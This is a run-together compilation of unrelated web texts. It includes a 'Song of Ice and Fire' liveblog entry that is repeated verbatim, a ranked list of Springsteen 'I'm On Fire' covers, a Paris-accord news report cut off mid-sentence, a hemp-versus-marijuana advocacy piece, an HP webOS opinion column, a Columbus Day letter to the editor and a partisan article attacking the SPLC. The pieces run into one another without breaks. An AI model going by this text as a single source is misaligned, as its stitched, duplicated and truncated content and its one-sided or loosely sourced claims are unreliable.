The feudal lords have gathered in Winterfell. Bran’s antsy, but Robb won’t let him out, after the incident in the woods. Instead, he wanders around on Hodor’s back. People look at him, but he doesn’t care. He calls Summer through the crowd and goes to the godswood. He ruminates upon Robb’s leaving for the Neck, to defend the Tully land with the armies amassing in Winterfell, presumably to be met by more as they proceed. It seems the civil war I predicted will come to pass. The forces are fickle and anxious, trying Robb’s safety and leadership. He has held his bearing, growing into a steadfast leader as much as his father was. My apprehensions about his integrity in the last Bran chapter are pretty much gone, in my opinion, even more reason that the war will be a great and long one, now that there’s a developing character behind it.
Tales of what happened with the distant Throne are wild and varying, so when Sansa’s dictated letter comes, it comes as both a relief and as an utterly bewildering and devastating bit of information. He prays; that wildling I was agonizing over in the spec last update appears. Friendlily enough, actually. They exchange words, she tells tales of beyond the wall. She warns of the Others; Bran says that he’ll tell Robb and he’ll listen to him.
At the meal, he sits at the head in lieu of Robb, who is finalizing plan, and speaks with Luwin, who humors his declaration that he wants to learn magic. Hmm.
Theories and Speculation!:
An addendum to the last speculation that I’d forgotten: Rickon, the littlest Stark, is probably going to die as an anvilicious demonstration of the cruelty of the Lannisters / Cersei’s control over Sansa. Really, the the reason I assume he’s going to die is because I can’t find a reason for him not do. Perhaps that will change, but I don’t see it doing so yet. IDK.
Bran’s growing fascination with the Children of the Forest, whoever those might be (wiki, I need thee now!), his devotion to the godswood, and the three eyed crow all indicate to me that he may be developing into a mage of some sort? I mean, we’ve hardly seen any magicky stuff at all; the Others are the closest to anything we’ve heard, and this is really the first time I think it’s ever been actually mentioned, so would such a thing happen? Again, IDK!
You have to love ominous warnings from every side about the looming zombie apocalypse, don’t you? Ah, maybe it’s the Others themselves who backstab Winterfell, leaving Cersei and Daenerys to figure out what to do with them. A twist of irony I’d be loathe to absolutely forgo, were I GRRM.
Chapters 53: Bran
Kicking Jay liveblogs his way through his first read of a Song of Ice and Fire!
First, there’s lots of broken, poorly written summaries I jot down as I read, then all my noobish theories/speculation below the cut.
Follow for very sporadic updates and occasionally half-hearted apologies for said sporadicness.
Bran:
The feudal lords have gathered in Winterfell. Bran’s antsy, but Robb won’t let him out, after the incident in the woods. Instead, he wanders around on Hodor’s back. People look at him, but he doesn’t care. He calls Summer through the crowd and goes to the godswood. He ruminates upon Robb’s leaving for the Neck, to defend the Tully land with the armies amassing in Winterfell, presumably to be met by more as they proceed. It seems the civil war I predicted will come to pass. The forces are fickle and anxious, trying Robb’s safety and leadership. He has held his bearing, growing into a steadfast leader as much as his father was. My apprehensions about his integrity in the last Bran chapter are pretty much gone, in my opinion, even more reason that the war will be a great and long one, now that there’s a developing character behind it.
Tales of what happened with the distant Throne are wild and varying, so when Sansa’s dictated letter comes, it comes as both a relief and as an utterly bewildering and devastating bit of information. He prays; that wildling I was agonizing over in the spec last update appears. Friendlily enough, actually. They exchange words, she tells tales of beyond the wall. She warns of the Others; Bran says that he’ll tell Robb and he’ll listen to him.
At the meal, he sits at the head in lieu of Robb, who is finalizing plan, and speaks with Luwin, who humors his declaration that he wants to learn magic. Hmm.
Theories and Speculation!:
An addendum to the last speculation that I’d forgotten: Rickon, the littlest Stark, is probably going to die as an anvilicious demonstration of the cruelty of the Lannisters / Cersei’s control over Sansa. Really, the the reason I assume he’s going to die is because I can’t find a reason for him not do. Perhaps that will change, but I don’t see it doing so yet. IDK.
Bran’s growing fascination with the Children of the Forest, whoever those might be (wiki, I need thee now!), his devotion to the godswood, and the three eyed crow all indicate to me that he may be developing into a mage of some sort? I mean, we’ve hardly seen any magicky stuff at all; the Others are the closest to anything we’ve heard, and this is really the first time I think it’s ever been actually mentioned, so would such a thing happen? Again, IDK!
You have to love ominous warnings from every side about the looming zombie apocalypse, don’t you? Ah, maybe it’s the Others themselves who backstab Winterfell, leaving Cersei and Daenerys to figure out what to do with them. A twist of irony I’d be loathe to absolutely forgo, were I GRRM.A few weeks back, we premiered Low’s cover of Bruce Springsteen’s “I’m On Fire,” and it was great (more on that below). It’s their contribution to a forthcoming Springsteen tribute titled Dead Man’s Town, a compilation marking the thirtieth anniversary of Born In The U.S.A. (and taking its name from that album’s title track). Between that Low cut and Jason Isbell’s reading of “Born In The U.S.A.,” the collection seems promising.
But the Low version also got us thinking specifically about “I’m On Fire” — well, I’m often thinking about this song and the album it hails from. Somewhere along the line, “I’m On Fire” became the stereotypical Springsteen song to cover, and, accordingly, a lot of artists have done so. It makes sense on multiple levels. It’s very simple structurally, not difficult to play or sing. It’s also very approachable. There’s a simplicity and casualness to finding your way into “I’m On Fire” that just isn’t possible with something as idiosyncratic or monolithic as “Born To Run.” It occupies a healthy middle ground, actually. As one of the several major singles from Born In The U.S.A., “I’m On Fire” is recognizable enough to appeal to audiences even if they’re not huge Springsteen fans, but it’s also not overly hallowed ground, as if you were trying to take on “Jungeland” or “Darkness On The Edge Of Town” or something. It’s become the “Yesterday” of his catalog.
So, given those circumstances, we’ve decided to take a look at some of the many “I’m On Fire” covers, and award them special distinctions so you know just what you’re getting into in the big mess of “I’m On Fire” permutations out there on the internet.
The “Super Late Night Drive Edition” Award — AWOLNATION
If Springsteen’s original feels like a paean delivered on an aimless midnight drive, AWOLNATION’s has just the right amount of brooding mixed with just the right amount of hazy seductiveness to push “I’m On Fire” closer to the 3 or 4 AM mark. Instrumentally, it’s a cool arrangement — the quickening of the pulse during the “ooo-ooos” is a nice touch. I just wish the singer’s voice was a bit lower and grainer, because as it stands the version feels like half of what it could be. It’d be interested to hear someone take this interpretation and go with it, teasing out the darker dance elements, and then getting Michael Mann to shoot a video of them in one deep shade of blue.
The “Overwhelmingly Meh” Award — John Mayer
This is the unfortunate quality of “I’m On Fire” — it’s the exact Springsteen song that’s an easy target for an obvious, sensitive soft-rock cover. It’s the obvious one for someone like John Mayer to go to in order to theoretically establish some sort of classic rock bona fides, which he’s always trying to do. At any rate, this plays out essentially as you’d expect, which means if you heard a local musician playing it in a coffee shop you wouldn’t think twice. Somewhat disturbingly, there are also people on the internet, or at least in YouTube’s comments section, who believe this is superior to Bruce’s original, but bonus points to the dude who said, “I use half of your lyrics for pick up lines on girls” (this still works after all these years?) and the person who responded “These are Bruce Springsteen’s lyrics,” because that whole thing made me laugh.
The “Campfire Singalong” Award — The Airborne Toxic Event
When you’ve got a song like “I’m On Fire,” that’s easy to play and to sing, you’re bound to wind up in some situation where people are sitting around and some dude picks up an acoustic and gives the song a go, whether people want him to or not. The Airborne Toxic Event’s version kinda has that campfire hangout vibe with its casual, endearingly tossed off quality. Only, you know, with everyone singing along and stand up bass and violin and a snare drum played by hand. I like the violin embellishments, and the whole hands-on-snare thing gives their cover a bit of ramshackle movement that’s often missing when someone does a straight read on solo guitar or piano. It sounds like what would happen if you and your friends decided to mess around with the song in someone’s basement, and it’s more fun for it.
The “Good God, How Did We Let This Happen” Award — Slightly Stoopid
I found out this existed, and I was extremely hesitant to click play, but I did anyway because I am a fearless journalist. Turns out Slightly Stoopid’s take on “I’m On Fire” is actually played pretty straight and inoffensive. Even so, this is an act of musical terrorism because (a) I got severe anxiety for two and a half minutes that a reggae break was coming at any given moment and (b) this exposed me to people on the internet who thought Slightly Stoopid took Springsteen’s song “to the next level,” and, well, no thanks, ever.
The “This Could Maybe Be Incredible” Award — Twin Shadow
For a while, Twin Shadow was running a series called UNDER THE CVRS, in which he’d record covers that fans requested. His version of “I’m On Fire” is very short and kind of feels like a sketch for something that, if he were to flesh it out for an official release of some sort, could be really special. His breathy, deconstructed R&B take has the sort of bleary-eyed lustfulness to make it a fitting modern update of Springsteen’s original, it just doesn’t quite get there. This was a casual thing he was doing, and it still sounds like that, but I can’t help imagining what a more fully realized version of this interpretation could sound like alongside “To The Top” at a Twin Shadow show this fall.
The “Rift In Time And Space” Award — Barry Gibb
For reasons I can’t entirely put my finger on, it is so bizarre and hilarious to me that this exists, and to be honest it’s included here purely because of that. As Gibb mentions in his intro, a similar tear in the universe occurred when Springsteen covered “Stayin’ Alive” in Australia earlier this year, so Gibb decided to return the favor. The result is more or less what would’ve happened if Springsteen had written this for some sort of yacht-rock artist in the late ’70s or early ’80s.
The “People’s Choice” Award — Tori Amos
There are a few reasons I can think of for me not quite connecting with Tori Amos’ cover of “I’m On Fire.” I’m not overly familiar with her as an artist, or because the first time I heard it I was watching a live video and she kept on making these goofy faux-suggestive eyes at the audience. Or, primarily, because I’m not generally a fan of the bare piano ballad treatment of covers. (A major exception being Sharon Van Etten’s similarly stripped down rendition of another Bruce classic, “Drive All Night,” which is gorgeous.) But hey, Scott suggested this one, and it’s one of the first versions my friends mentioned when I told them about this piece. So it has some stature in the grand scheme of “I’m On Fire” covers. For what it’s worth, I like it a lot more now that I’m not watching that live video.
The “There Is Evil In The World” Award — Kenny Chesney
I never wanted to hear a pop-country rendition of “I’m On Fire” and now I have and that makes me sad.
The “If Bruce Had Sold The Song To A New Wave Band In ’83” Award — Chromatics
As I’ve noted on numerous occasions on this site, I’m a sucker for ’80s synth-pop, or contemporary bands that draw heavily on the form. Chromatics usually do some really cool stuff within that framework, and their version of “I’m On Fire” has that gauzy/dreamy/smeared vibe that makes their own records great. For a while, Springsteen had a habit of selling his poppiest compositions to others, who went on to have big pop hits with them, and it’s not a leap to imagine something like Chromatics’ version coming out in ’83 had Springsteen opted to do so with “I’m On Fire.”
The “Token Stupid Indie Version” Award — Born Ruffians
If I had tried to think of the platonic ideal of an anonymously ’00s-indie sounding band doing “I’m On Fire,” this approximates what I would’ve come up with. It’s twee in a sorta lo-fi way, and that backing vocal affectation? Come on. This reminds me of Vampire Weekend’s cover of “I’m Goin’ Down,” and there’s just no way that’s going to make me a happy person.
The “Drunk British Guy Singing On A Street Corner” Award — The Wave Pictures
There’s a sense in which the Wave Pictures’ version of “I’m On Fire” is as cloyingly smirk-y as Born Ruffians’, but as the title of this particular award says, it’s of a slightly different breed. This sounds like a couple of guys wasted and struggling their way through the song as the sun’s starting to creep up and the night’s final stragglers are shuffling home. Which winds up making this version a bit more endearing, even though it’s certainly not the first one I’d put on a playlist.
The “I’m Surprisingly Let Down By This” Award — Big Country
Just the other day, I was going on about how much I love the Big Country song “In A Big Country.” So, naturally, when I heard they’d done a version of “I’m On Fire,” I was like, “Oh, damn!” and then I heard it and was like, “Oh, damn.” There’s nothing necessarily off about their performance, per se, it just kinda sounds like a really competent bar band running through it. Not that I expected them to have transformed “I’m On Fire” into some sort of bombastic ’80s pop anthem, but I’m also not saying I would’ve opposed that.
The “Sorta Missed Opportunity, Sorta Still Epic Just For Happening” Award — Johnny Cash
In 2000, Johnny Cash contributed his version of “I’m On Fire” to a Springsteen tribute entitled Badlands. This must’ve been awesome for Springsteen, as Cash is clearly of the generation of American musicians Springsteen grew up revering, and would took inspiration from. That being said, this was in the midst of Cash’s stunning series of American records towards the end of his life, a run of albums produced by Rick Rubin and comprised primarily of ragged, weathered covers. His take on “I’m On Fire,” meanwhile, sounds like a tangent, or possibly a leftover from another era. His voice is as immortal as ever, the production of it just seems a little dated for 2000. As cool as it is to see one legend pay tribute to another, it’s hard not to think of what this might’ve sounded like as a part of one of the American records. For a comparison point, see Cash’s cover of a much-less appreciated Springsteen song, “(Further On) Up The Road.”
The “Ingenuity” Award — Electrelane
This isn’t a hard award to win in this particular field. Electrelane happens to be one of the only artists that’s gone and done anything substantive in terms of rearrangements when it comes to “I’m On Fire.” I guess it’s become the sort of standard you play as a straightforward tribute, but that can work well or it can sound non-committal. Electrelane, on the other hand, infuses “I’m On Fire” with a bit of post-punk and/or Krautrock pulse, and it’s pretty awesome. The intro kills — a full 40 seconds of building instrumental tension in a cover that lasts just over two minutes. Where everyone gently coos their covers, they bleat over buzzy distortion and propulsive drums (and handclaps!). It sounds like it should boil over into a final minute of fuzziness and that persistent organ drone growing louder and more piercing, and while I wish it did, this is still one of my favorite interpretations of “I’m On Fire” out there.
The “Hey, This Is Surprisingly All Right” Award — Mumford And Sons
I can’t quite remember the moment where I realized we were all supposed to hate Mumford And Sons. Nevermind, that’s not true. One, maybe in 2013, I was walking through the West Village on a Saturday afternoon and passed by a lame-looking bar (such is the case on W. 4th off 6th Ave., it’s all sex shops and cheap bars). Through the front door, I glimpsed a group of about six Jersey Shore-looking dudes all with their arms around each other, doing a synchronized kick to “Little Lion Man” and I thought “Hey, this looks like the end of civilization.” But, in seriousness, I’m more ambivalent about Mumford than repulsed by them, and even with a more muted stance on the subject, I went into this one expecting something wrong without exactly knowing what kind of wrong I should be expecting. And it’s really not bad — I like the accordion standing in for synthesizers and the acoustic arrangement and all that. If someone else was singing over this, I’d probably think it was really great.
The “Surprising To Precisely Nobody” Award — Brian Fallon of The Gaslight Anthem
It’s no secret that Brian Fallon of the Gaslight Anthem is a Springsteen acolyte — it’s right there in a lot of the music he writes. He’s been known to cover him from time to time, and they’ve even become pals along the way, showing up onstage with each other now and then. It’s gotten to the point where Fallon apparently grimaces through some of the Bruce comparisons, but I’m not sure you can really blame people. Fallon even references “I’m On Fire” real directly in Gaslight’s “High Lonesome“: “And at night I wake up with the sheets soaking wet/ it’s a pretty good song, baby you know the rest/ Baby you know the rest.” So really, it makes total sense that he’d do “I’m On Fire,” and that he’d play it pretty straight. And that’s exactly what happened. This one won’t change anyone’s life, but it makes a lot of sense.
The “Why Do Pop Country Acts Keep Covering This” Award — Lady Antebellum
Keith Urban also does one. Out of all the Bruce songs, I guess it makes sense, since it’s a big pop single, and because it can lean very country so easily. There are so many other Springsteen songs that could be countrified, but then again maybe I shouldn’t be asking for Lady Antebellum to get their hands on deep(er) Springsteen cuts. At any rate, as Yoko Ono is fond of saying: stop the violence, stop all wars.
The “2014” Award — Low
Back when we premiered this song, and before I listened to different versions of “I’m On Fire” approximately a million times to bring you this very special list, I had already decided Low’s take on the song was not only one of the best Springsteen covers I’d heard in some time, but also a very convincing interpretation of what “I’m On Fire” could/should sound like if it had come into the world in 2014. Because this is Low, their version of “I’m On Fire” is sleepier and sadder and more haunting than most of the other versions out there. Structurally, it doesn’t depart from the original too much, but between that weird drone sound in the beginning and the way the guitar comes off as more guttural than the original, Low adds little touches that sets their version apart in a way that leaves an impression. It’s a worthy update, and a worthy tribute.
The “Complete And Obvious Frontrunner” Award — Bat For Lashes
Anyone I mentioned this list to cut me off before I finished the explanation, and it was always with the same name: Bat For Lashes. Natasha Khan’s version of “I’m On Fire” is the most unique and beautiful cover of the song out there, and she manages to achieve this while staying true to the song’s natural premise. There are few instances in which someone can take a song as well-known as “I’m On Fire” and hold it so convincingly in their own world, but Khan’s more eccentric instrumentation and powerful voice succeed in doing so. She’s also seemed to have realized what, for some reason, so few others have about this song — it’s OK to have the tension of the song rupture in some fashion, even if Springsteen didn’t on the original recording. Each time a string swells or Khan lets a particular word peal out with greater power, it feels like little cathartic bursts. Most artists are content to sleepwalk their way to the end of this song. Khan, as always, takes you to other places.
The Boss Award — Bruce Springsteen
I mean, I had to get the man himself in here. You knew that, right? Back in ’05, when Springsteen was touring the very underrated Devils And Dust, he did a small-scale solo tour during which he frequently featured drastically altered and rearranged versions of some of his classic songs. This included a banjo rendition of “I’m On Fire.” It sounds like an alternate narrative in which Springsteen followed Nebraska not with Born In The U.S.A., but with another record of sparse and unsettling music, this time born from the swamps instead of the plains. There’s little else in Springsteen’s work — live or recorded — that sounds quite like this. I hope and expect that as he ages I’ll get the chance to see a stripped down solo show like those ’05 ones, but I’d also be interested to hear him return to this aesthetic in some way.
Which one’s your favorite? Least favorite? What’d we miss?After teasing his decision on the Paris climate accord on Twitter like some macabre reality-TV stunt, President Donald Trump announced on Thursday that he is pulling the United States out of the historic, 195-nation agreement to lower global carbon emissions, joining Syria and Nicaragua as the only countries not to abide by the treaty.
“In order to fulfill my solemn duty to protect America and its citizens, the United States will withdraw from the Paris climate accord but begin negotiations to re-enter the Paris accord or an entirely new transaction on terms that are fair to the United States, its businesses, its workers, its people, its taxpayers,” the president said during a long, rambling speech in the Rose Garden. “So we are getting out, but we will start to negotiate, and we will see if we can make a deal that is fair. And if we can, that‘s great. If we can‘t, that‘s fine.”
The president’s call to renegotiate the climate deal is mostly senseless. As Vanity Fair contributing writer Charles Mann noted, the treaty has been derided by both green and anti-green camps as effectively “toothless.” The 2015 agreement is mostly voluntary, allowing each country to set its own emissions pledges as part of a larger goal of keeping global average temperatures from rising 2°C by the end of the century. The framework for reaching those goals is non-binding, and the U.S. was already on pace to hit its own arbitrary benchmark. It will also take years for the U.S. to officially exit the agreement—at which point Trump may not even be in power.
Of course, the point of abandoning the climate agreement, as the Trump administration seemed to acknowledge, is mostly symbolic. “We’re going to make very clear to the world that we’re not going to be abiding by what the previous administration agreed to," White House energy policy adviser Michael Catanzaro said in a statement. And the message to Trump’s “America First” base is clear. By dropping its environmental commitments, Vice President Mike Pence said Thursday in his introductory comments, Trump is putting “the forgotten men and women of America first.”
About seven in 10 Americans, including a majority of Republicans, say the U.S. should remain in the Paris climate agreement. But among Trump’s most conservative supporters, withdrawing serves a double purpose as a middle finger to Democrats on Capitol Hill, former president Barack Obama, and liberal sensibilities more generally. “I was elected to represent the citizens of Pittsburgh, not Paris,” Trump seethed, railing against other nations for taking advantage
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. Yet, to no avail, the bill was passed by fall of 1937.
Hemp’s misfortunes didn’t end there. The full out prohibition of hemp finally came in 1970, when president Richard Nixon declared “War on Drugs”. Somehow, hemp ended up getting included as a Schedule 1 Drug – they claimed it as dangerous as heroin and LSD!
WHY HEMP IS STILL CONFUSED WITH MARIJUANA TODAY
Nobody can deny that the popularity and demand of marijuana is exponentially bigger than hemp as of today. Marijuana organizations such as NORML are much bigger and better organized than that any of the hemp organizations. So as the movement for marijuana legalization grew, hemp activists tended to tag along. In a sense, this also facilitated in opening doors for hemp.
But this also came with a side effect. The general public continued to perceive hemp as the same thing as marijuana – or just as some bastard child of psychoactive cannabis.
To make matters worse, many cannabis groups also started to use the term “hemp” in their brand names and marketing. Let’s take two of the biggest cannabis festivals in the US: Seattle’s HempFest and San Francisco’s HempCon Festival.
Both these festivals are geared mainly towards medical, psychoactive cannabis (“marijuana”). So when the general public sees the billboards for these events or reads a promotional ad online, it’s easy for them to think “Hemp = Marijuana”. So in the eyes of the general public, where marijuana still carries a negative stigma, hemp is one and the same.
HOW HEMP AND MARIJUANA ARE DIFFERENT
The distinction between hemp and marijuana can be made in multiple ways. At the end of the day, all these reasons show that hemp cannot be grown with or near marijuana, nor can it be used in similar ways.
Chemical makeup
The main difference between the two is in its chemical composition, specifically in tetrahydrocannabinol (THC). THC is the chemical responsible marijuana’s psychological effects. An average batch of marijuana contains anywhere from 5–20% THC content. Some premium marijuana can have up to 25-30% THC. Hemp, on the other hand, has a max THC level of 0.3%, essentially making it impossible to feel any psychoactive effect or get a “high”. This threshold is heavily regulated in countries that allow the cultivation and production of hemp. Hemp also typically has high cannabidiol (CBD) content that acts as THC’s antagonist, essentially making the minimal amount of THC useless. Cultivation Environment
The environment in which hemp and marijuana are grown is strikingly different. Hemp is grown closely together (as close as 4 inches apart) and are typically grown in large multi-acre plots. It can also grow in variety of climates and its growth cycle is 108-120 days. Unlike hemp, marijuana requires a carefully controlled, warm, and humid atmosphere for proper growth. Its growth cycle only 60-90 days. Medical cannabis also cannot be grown too close to each other. They are typically grown 6 feet apart. If, somehow, marijuana grows among (or close to) a hemp field, the hemp’s pollen would immediately ruin the marijuana crop, diluting marijuana’s psychoactivity. Applications & Benefits In its application, hemp and marijuana serve completely different purposes. Marijuana, as it is widely known, is used for medicinal or recreational purposes. Hemp is used in variety of other applications that marijuana couldn’t possibly be used in. These include healthy food, beauty skin products, clothing, paper, and other everyday products. Overall, hemp is known to have over 25,000 possible applications.
HEMP IS NOT MARIJUANA: IT’S TIME TO DISTINGUISH THE TWO
People may agree or disagree with the stance that hemp is clearly different from marijuana. However, one fact that we can all agree on is that it is ludicrous that hemp was prohibited in the first place – a completely non-psychoactive plant being categorized in the same group as ecstasy and heroin.
But sadly, it has. What’s done is done.
We can’t change the past, but we can definitely change the future. We can help realize all of hemp’s full potential in the modern world by rebranding it for the useful plant that it is.
Hemp’s reputation has been stained and the negative stigma that surrounds “cannabis” will take many years (or even generations) to disappear. I hold nothing against marijuana, and strongly believe that its full legalization will come in the near future. However, by distancing hemp from marijuana and by having marijuana brands stop using “hemp” in their marketing, we will be able to revive hemp in the public eye for all its useful everyday or industrial applications.
And who knows, maybe that will help the negative stigma around marijuana to disappear quicker too.HP has missed out on a fantastic opportunity with webOS. The company was in a position, by hook or by crook, to give webOS the kind of wide distribution that even Apple would be impressed by. It just had to spend some cash to do it. As an operating system, webOS has what it takes to be a success. The operating system's user interface was well-received, and it has strong concepts, such as unified messaging and card-based multitasking, that rival platforms are only starting to compete with. It also had a development model familiar to millions of Web developers.
What it needed was a bit of momentum. A reason for those Web developers to start developing for it, a reason for mobile operators to start caring about it and promoting it. Palm's advertising, with the creepy girl, was lackluster. HP took that to the next level. I was excited about, and interested in, the Pre3 when it was announced earlier in the year. But I didn't even realize it had launched a few days ago, such was HP's total unwillingness to promote the thing. Bring back the creepy girl—at least it's something.
And yet it seems to me that HP had a perfect opportunity to get webOS into people's hands across the world, thanks to its enormous PC business. Granted, it's now obvious that HP doesn't like its PC business very much. But its reach and penetration, across both the corporate and consumer worlds, is substantial.
So here's what I would have done if I ran HP. I would recognize that a successful mobile and tablet platform can earn a boatload of cash. It's a market that's absolutely worth going after. I would recognize that with webOS I had the fundamentals of this platform, but lacked the critical mass of users that is required to create a sustainable platform.
So I would have done two things. One cheap and easy, one expensive and easy.
Paying the price, whatever it is
The cheap and easy one is to port webOS to Windows. Or rather, to port the webOS runtime environment. Not the Linux-y bits, but the JavaScript-y, HTML5-y bits. There's probably not even a huge amount to do here; WebKit already runs on Windows, and underlying technology like node.js is gaining a first-class Windows port. I'd then develop a bunch of neat applications, plumb the entire thing into webOS's App Catalog, and preinstall them on every HP desktop and laptop that the company sells. I'd also make it a free download with a simple user-friendly installer.
This wouldn't be enough to save webOS. But it would be cheap and easy to do, and it would put the technology in front of people. It would make the webOS development stack something that developers knew about, and thought about, and could trivially use to make their own applications. It's all about making developers recognize that webOS exists and think "oh hey, this is neat."
Now for the expensive part. Give away the hardware. You buy a cheap HP consumer laptop or netbook? You get a Veer. Buy a more expensive one? You get a Pre3 or a TouchPad, your choice. Run the promo for a quarter or two. Advertise all over the place. Pay whatever it takes to get 30-day SIMs with data plans from mobile networks and preinstall them in the phones. Preload them with Angry Birds. Make sure that anyone buying an HP PC will get this cute little gizmo that works and does all sorts of neat stuff out-of-the-box. The PCs should also change a bit. The TouchPad and webOS phones can sync webpages with each other just by dint of being in close proximity; the PC should be able to play the same game. Encourage people who might not otherwise be interested in the tablet or the smartphone to experiment with them.
Not everybody will care about their free phone or free tablet—that's a given. So those folks could give it to their kids, friends, or neighbors. Some devices would no doubt end up languishing in drawers or attics. But plenty of them are going to get used.
No doubt about it, this will cost a big chunk of money. But writing down 250,000 unsold TouchPads also costs a big chunk of money. Buying Palm for $1 billion and then doing nothing with its really neat technology costs a big chunk of money. Your share price dropping 20 percent after you announce the plans to kill webOS hardware and sell off your PC division isn't exactly great financial news either.
And there's still no guarantee of success. Perhaps everyone would try webOS and hate it. Perhaps developers would ignore several million new webOS users, leaving it still desperately in need of applications.
But if they liked it? HP would have had a thriving ecosystem on its hands. Millions of people trying webOS, liking it, recommending it to their friends and family. A development framework that millions of developers already know and understand. An app store with customers in abundance. HP would have been well on its way to smartphone success.
If HP had primed the pump only to find that success still didn't flow, then sure, kill it off, because plainly it's never going to make it. HP, however, never even gave webOS a fighting chance. This wasn't a great big spectacular failure from a company that tried hard, gave it its all, but still couldn't succeed. It was half-hearted capitulation. That's a missed opportunity, if ever there was one.September 4, 2014 at 11:34 AM
Activists for the substitution of Columbus Day with Indigenous People’s Day pressed City Council Tuesday to a vote [“Seattle City Council delays vote on Indigenous Day,” Local News, Sept. 2]. It would seem like an opportunity to rectify a misromanticized portion of our nation’s history. But I wonder whether substitution would correct it.
Schools and many workplaces have stripped the federal holiday of its authority, and rightly so. There is justice in dismembering an institution that praises a disseminator of disease and mass murderer.
But changing the name would misrepresent the tone of the holiday. In being on the same day of Christopher Columbus’ arrival, the logical correspondence to be made on Indigenous People’s Day is mourning. The day would serve to mark the loss of Native culture rather than its historical significance and surviving contemporary presence.
It would be more appropriate to create a new holiday in respect of indigenous people in order to honor all parts of their culture in their own rightful space, not one already soiled by Columbus.
Mitchell Hostetter, KeyportFor many years, the Southern Poverty Law Center has labeled groups with values it doesn’t tolerate as “hate groups,” but now the organization is taking its attacks a step further, demanding Amazon and PayPal blacklist bloggers and websites that don’t fall in line with its leftist agenda.
Headlined “Financing Hate” in the group’s Intelligence Report publication, the Southern Poverty Law Center, or SPLC, listed 91 “hate groups” ranging from those clearly on the fringe to mainstream bloggers and websites such as Catholic Family News, Atlas Shrugs, Jihad Watch, WND and the Americans for Legal Immigration PAC.
Clearly stating its opposition, it describes how some of the organizations utilize Amazon, PayPal and other online services to sell products.
SPLC said the Intelligence Report contacted Amazon in September about the participation of “hate groups” and “hate sites” in Amazon programs that earn the groups commissions.
Amazon, according to the report, said it would assign “appropriate teams to investigate, review applicable policies, and take appropriate action.”
But SPLC lamented that some of its targets “were still earning commissions through Amazon.”
Several of the targeted organizations have criticized the “thuggish” behavior of SPLC, charging the organization is “somewhere to the left of Karl Marx.”
Renowned Islam expert Robert Spencer, whose Jihad Watch monitor on Islamic radicalism was targeted, said it shows “the desperate insecurity of the left: even at a time when they control the government, the media, and the entertainment industry, they have to strike out against the small, under-financed voices of truth that challenge their hegemony.”
“It also demonstrates their true totalitarian colors, in their absolute unwillingness to tolerate the smallest dissent. This is Goliath striking out against David. But we all know who wins,” Spencer said.
William Gheen, whose organization, Americans for Legal Immigration PAC, or ALIPAC, opposes illegal immigration and amnesty, said it was all too much.
In an open letter to SPLC posted online and to be “delivered to your offices by certified mail and then turned over to our attorney for further action,” Gheen said SPLC’s claims are “demonstrably false.”
“This letter is to inform you that we have Internet posts and emails containing threats and death threats against my life and the lives of my family members in reaction to your false claims that we are a hate group,” he said. “The threats we have received specifically cite SPLC claims that suggest we are somehow motivated by racism and advocating violence against minorities, both of which are demonstrably false.”
The issue of “hate,” “hate crimes” and “hate speech” has moved back into the headlines now because of a proposal in Congress to evaluate online speech for “hate” and then take action based on that assessment.
As WND reported, if two Democratic lawmakers have their way, Barack Obama’s Justice Department soon will submit a report for action against any Internet sites, broadcast, cable television or radio shows determined to be advocating or encouraging “violent acts.”
That’s from the text of a new bill from Sen. Ed Markey, D-Mass., and Rep. Hakeem Jeffries, D-N.Y.
The Hate Crime Reporting Act of 2014 “would create an updated comprehensive report examining the role of the Internet and other telecommunications in encouraging hate crimes based on gender, race, religion, ethnicity, or sexual orientation and create recommendations to address such crimes,” stated a news release from Markey’s office.
Gheen said SPLC is “fully aware” that ALIPAC is “racially inclusive … and that a substantial percentage of our supporters are minorities.”
“The SPLC is fully aware that ALIPAC has openly and eagerly worked with minority organizations and leaders,” he said. “The SPLC is fully aware that I have a background in registering and transporting minority and student voters and working to elect women and minorities to public office in the ’90s. The SPLC is fully aware that we never intentionally work with any racist or violent groups or individuals, and you are aware that we have publicly spoken out against racism and racist groups and individuals on numerous occasions.”
The letter, he wrote, is to “serve as your official notice of all of the factors I’ve listed here including your official notice that your designation of ALIPAC as a hate group, while no evidence exists that anyone in our organization has ever engaged in racism, hate, or violence against minorities, has crossed the line of civil discourse and is now directly encouraging people to threaten violence against me and my family.”
He charged that SPLC was “attempting to mislead our donations company, PayPal, by telling them that we are one of the 91 ‘hate groups’ using their services in the hopes they will stop allowing us to accept donations which pale in comparison to your multimillion dollar yearly budget.”
“Let this letter serve as notice to each of you at the Southern Poverty Law Center including Morris Dees, Mark Potok, and Heidi Beirich that I personally intend to hold you each legally responsible and personally responsible for any physical harm that befalls me, my organization, or my family due to your intentional lies and distortions.”
Gheen said the organization’s “false characterization of groups has led to violence such as the D.C. shooter Floyd Corkins, who tried to kill as many people as possible at the Family Research Council.”
“I believe it is time we put to the test in the courts your false claims and attempts to stir people and companies up against us by mischaracterizing a peaceful multiracial organization such as ALIPAC as similar to Neo-Nazis and the KKK,” he said.
Corkins, a homosexual activist, told investigators he had obtained his information about the Family Research Council from the Southern Poverty Law Center, which publicly had labeled FRC a “hate group” because of its biblical position on homosexuality.
SPLC lists the American Family Association, a traditional Christian ministry focusing on helping families, and the Family Research Council, in the same category as groups like the “Aryan Nations,” because of their biblically based opposition to homosexuality.
“White nationalist” and “racist skinhead” groups are posted in a warning list alongside the family organizations. It was the SPLC’s “Hate Map” that apparently was used by Corkins to identify Christians to kill in 2012.
Spencer told WND the listing of his group by SPLC was “bitterly ironic.”
“The SPLC has a multimillion-dollar budget, gathered by frightening leftists with smear propaganda about right-wing ‘hate groups,'” he said. “They have artificially inflated their list of such groups by including mainstream and reputable conservative groups and groups fighting for the defense of constitutional freedoms and human rights (like Jihad Watch), while largely turning a blind eye to genuine hate groups on the left, as well as Islamic jihad groups.”
Spencer noted that SPLC has “a huge endowment and massively inflated salaries – and now, in their authoritarian quest to stamp out all dissent, they’re targeting tiny organizations that rely on small ($25, $50) donations from PayPal and Amazon to finance their small blades-of-grass-through-the-concrete challenges to the stifling leftist political orthodoxy that currently dominates the public discourse, and of which the SPLC is a thuggish defender.”
Author Pamela Geller, who writes at Atlas Shrugs, told WND the SPLC is a “far left group that uses its hate group listings to demonize conservatives and anyone who dissents from its statist, authoritarian agenda.”
“Its hate group list is so tendentious and politically motivated that they were recently removed from a government website’s listing of resources on hate groups,” she said.
“The ill-gotten wealth of the SPLC amounts to tens of millions of dollars, while those whom they target, the supporters of freedom, are meagerly financed by average Americans who want freedom preserved in this country. The SPLC is highlighting Amazon and PayPal because they are the online means for Average Joes to send money to pro-freedom groups. These subversive destroyers mean to shut us down.”
